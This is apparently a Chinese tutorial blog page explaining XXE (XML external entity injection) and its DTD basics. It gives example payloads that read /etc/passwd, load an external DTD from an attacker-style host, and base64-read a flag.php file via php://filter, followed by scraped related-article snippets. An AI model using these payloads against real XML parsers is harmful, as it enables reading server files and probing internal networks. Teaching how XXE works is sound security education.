简单来说,XXE就是XML外部实体注入。
当允许引用外部实体时,通过构造恶意内容,
就可能导致任意文件读取、系统命令执行、
内网端口探测、攻击内网网站等危害。

XML
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素

DTD

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。
DTD 可以在 XML 文档内声明,也可以外部引用。
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
实体又分为一般实体和参数实体
1,一般实体的声明语法:
引用实体的方式:&实体名;
2,参数实体只能在DTD中使用,参数实体的声明格式:
引用实体的方式:%实体名;

基本利用

通常攻击者会将payload注入XML文件中,一旦文件被执行,
将会读取服务器上的本地文件,并对内网发起访问扫描内部网络端口。
换而言之,XXE是一种从本地到达各种服务的方法。
此外,在一定程度上这也可能帮助攻击者绕过防火墙规则过滤或身份验证检查。

构建外部实体注入

外部实体类型

方式一:直接通过DTD外部实体声明

<?xml version="1.0"?>
<!DOCTYPE a [<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<C>&b;</c>

方式二:通过DTD文档引入外部DTD文档,再引入外部实体声明

<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://mark4z5.com/evil.dtd">
<C>&b;</c>

方式三:通过DTD外部实体声明引入外部实体声明

引用攻击者服务器上的外部实体声明
<?xml version="1.0"?>
<!DOCTYPE a [<!ENTITY % d SYSTEM "http://mark4z5.com/evil.dtd">%d;
]>
<C>&b;</c>DTD文件内容:  <!ENTITY b SYSTEM "file:///etc/passwd">php://filter/read=convert.base64-encode/resource=../flag.php

XXE-什么是XXE相关推荐

  1. php xxe注入,PHP XXE漏洞

    PHP xml 外部实体注入漏洞(XXE) 1.环境 PHP 7.0.30 Libxml 2.8.0 Libxml2.9.0 以后 ,默认不解析外部实体,对于PHP版本不影响XXE的利用 2.原理介绍 ...

  2. XXE漏洞以及XXE漏洞如何修复

    XXE漏洞是什么 XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击.由于程序在解析输入的XML数据时, ...

  3. 什么是XXE漏洞,XXE漏洞的原理

    因为最近做的靶机关于XXE漏洞,这里简单写一下什么是XXE漏洞,自己理解的东西,一来方便自己经常回顾,二来对还没有接触过XXE漏洞的朋友来说也比较友好 ​ XXE漏洞全称XML ,即XML外部实体注入 ...

  4. php xxe注入,php xxe 攻击

    php entites: 预定义的:&<% 一般实体:,调用方式:在&general;,不能包含在属性中. 参数实体:,调用方式,立即使用:%param; 一般实体和参数实体都能 ...

  5. 微信支付xxe漏洞php,XXE 漏洞对微信支付有什么影响?

    senparclsx 14 个回复 • 查看 176 次 • 52天前 magiboy 11 个回复 • 查看 288 次 • 91天前 yintingji 10 个回复 • 查看 96 次 • 5天 ...

  6. 浅谈XXE漏洞攻击与防御——本质上就是注入,盗取数据用

    浅谈XXE漏洞攻击与防御 from:https://thief.one/2017/06/20/1/ XML基础 在介绍xxe漏洞前,先学习温顾一下XML的基础知识.XML被设计为传输和存储数据,其焦点 ...

  7. 1016.XXE漏洞攻防学习

    前言 对于xxe漏洞的认识一直都不是很清楚,而在我为期不长的挖洞生涯中也没有遇到过,所以就想着总结一下,撰写此文以作为记录,加深自己对xxe漏洞的认识. xml基础知识 要了解xxe漏洞,那么一定得先 ...

  8. 文件读取 xxe_漏洞笔记|记一次与XXE漏洞的爱恨纠缠

    0x01背景: kaiputenku大佬最近在挖洞的时候偶遇一枚XXE漏洞,身经百战的他经过一番爱恨纠缠,终将她顺利拿下~ 0x02纠缠一番只为她-Blind OOB XXE: 在测试某系统的某查询功 ...

  9. XXE漏洞利用技巧(XML注入):从XML到远程代码执行

    目录 什么是XXE 基本利用 Blind OOB XXE 场景1 - 端口扫描 场景2 - 通过DTD窃取文件 场景3 - 远程代码执行 场景4 - 钓鱼 场景4 - HTTP 内网主机探测 场景5  ...

  10. XML相关的安全漏洞-XXE,XPATH小结(XXE注入、XPATH注入)

    0x00前言: 本文主要小结以下php下的xpath查询xml结构的漏洞利用和XXE漏洞利用 xml是可扩展标记语言,它被设计出来是为了存储传输数据的. 它的结构是树形结构,并且标签要成对出现比如下面 ...

最新文章

  1. 关于 MySQL LEFT JOIN 你可能需要了解的三点
  2. Hans R. Camenzind发明555定时器的故事
  3. 周期性定时事件的处理
  4. 文巾解题 180. 连续出现的数字
  5. JZOJ 1321. 灯
  6. 科研工作者的神器-zotero论文管理工具
  7. node.js gbk编码_如何使用Node.js将Chrome的霸王龙编码为电报游戏
  8. 计算机组成原理pc值,计算机组成原理试题
  9. 猜数字四个数字不重复C语言,c语言题 猜数字游戏
  10. C# 文件读取(一)
  11. 计算机主机系统构成,一个完整的计算机系统通常是由()构成。A.硬件B.主机C.软件D.操作系统...
  12. 深掘工业互联网大数据五大维度
  13. CPU226怎么与西门子变频器通讯
  14. 谈谈免费的仓库管理软件
  15. 从各大APP年度报告看用户画像——标签,比你更懂你自己
  16. 【历史上的今天】9 月 13 日:计算机先驱诞生日;第一台装载硬盘的超级计算机;《超级马里奥兄弟》发布
  17. 一文读懂 Linux 下单机实现百万并发的内核黑科技:连接跟踪(Conntrack)
  18. 【转】jar参数运行应用时classpath的设置方法
  19. android手电筒项目代码,android手电筒的源码
  20. NSString 遇到的坑

热门文章

  1. 离散数学 (II) 习题 11
  2. android预览ppt插件,Android UI基本控件.ppt
  3. 00截断上传绕过_上传绕过总结
  4. 【大一上】C++小知识点
  5. _tsplitpath_s(分解路径)
  6. 视频工厂分享vlog拍摄技巧
  7. Android studio系列:win10上Android studio4.0.2下载安装
  8. 女生玩游戏什么款式蓝牙耳机好用?小清新高颜值游戏蓝牙耳机推荐
  9. Python实现“维基百科六度分隔理论“之基础爬虫
  10. IT忍者神龟之oracle常用日期计算